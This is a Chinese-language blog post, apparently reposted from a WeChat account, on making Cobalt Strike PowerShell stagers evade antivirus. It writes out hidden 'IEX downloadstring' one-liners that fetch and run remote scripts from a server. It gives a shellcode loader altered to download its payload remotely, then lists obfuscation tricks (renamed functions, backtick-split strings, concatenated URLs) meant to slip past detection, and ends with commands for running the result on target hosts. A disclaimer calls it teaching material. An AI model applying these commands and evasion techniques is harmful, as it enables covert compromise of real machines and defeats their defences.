CS免杀-PowerShell上线

admin 2021年7月5日07:07:25评论466 views字数 1769阅读5分53秒阅读模式
CS免杀-PowerShell上线
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


分析PowerShell命令


Powershell无文件上线,使用CS的scripted web delivery生成powershell脚本,挂在服务器上

CS免杀-PowerShell上线

CS会生成一句powershell命令,并将ps脚本挂在CS服务器上

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:80/a'))"


看看访问的http://192.168.1.1:80/a文件有什么

发现是一大串PS命令,它先使用base64解码,之后通过IO.MemoryStream.GzipStream解压缩,得到解码后的PS脚本,并IEX执行该脚本

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("vbxH516NOyTVgUA......."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

CS免杀-PowerShell上线

输出一下解码后的脚本,修改IEX为echo,就可输出源代码了

powershell -ExecutionPolicy bypass -File power.ps1 >> source.ps1

CS免杀-PowerShell上线



分析PowerShell加载器



仔细观察源代码啊,发现这就是CS直接生成的powershell的payload啊。

CS免杀-PowerShell上线

有两个函数fungetprocaddressfunctiongetdelegatetype,然后一个base64解码,并进行xor异或处理得到shellcode,分配内存,复制shellcode到内存,最后执行shellcode


就是一个典型的powershell版本shellcode加载器

CS免杀-PowerShell上线

这里的base64编码的一大串内容,盲猜就是shellcode异或处理又base64编码来的

既然这样就输出一下解码后得到的16进制机器码

echo $var_code >> shellcode.bin

暂时看不太懂机器码。。。


既然是内存加载器,就改一下加载器

不将shellcode写死在ps脚本中,而是将shellcode放在服务器上,远程加载实现分离免杀

CS免杀-PowerShell上线

[Byte[]]$var_code = (New-Object Net.WebClient).downloaddata('http://192.168.1.1/payload.bin')

这里的bin文件用CS或msf生成的都可以,其他代码不改,先尝试一下能上线不。



   测试免杀



能上线后就修改一下ps脚本的其他特征

func_get_delegate_type函数重命名为function func_tttfunc_get_proc_address函数重命名为func_hhhdownloaddata函数改为"down`lo`addata"downloadstring函数改为"download`str`ing"'Invoke'字符串改为为'Inv'+'oke'$var_code变量为$var_dode'http://192.168.1.1/payload.bin'改为'ht'+'tp://192.16'+'8.1.1/pay'+'load.bin'

反正能改的都改改,测试一下最终ps脚本,能上线,然后查杀一下该脚本

CS免杀-PowerShell上线

CS免杀-PowerShell上线


主机上线



使用的话将脚本上传目标主机,或者放在服务器上加载即可

powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('C:test.ps1')"

powershell -nop -w hidden -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"

最终样本在公众号回复: ps免杀样本

本文始发于微信公众号(XG小刚):CS免杀-PowerShell上线

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月5日07:07:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CS免杀-PowerShell上线http://cn-sec.com/archives/311689.html

发表评论

匿名网友 填写信息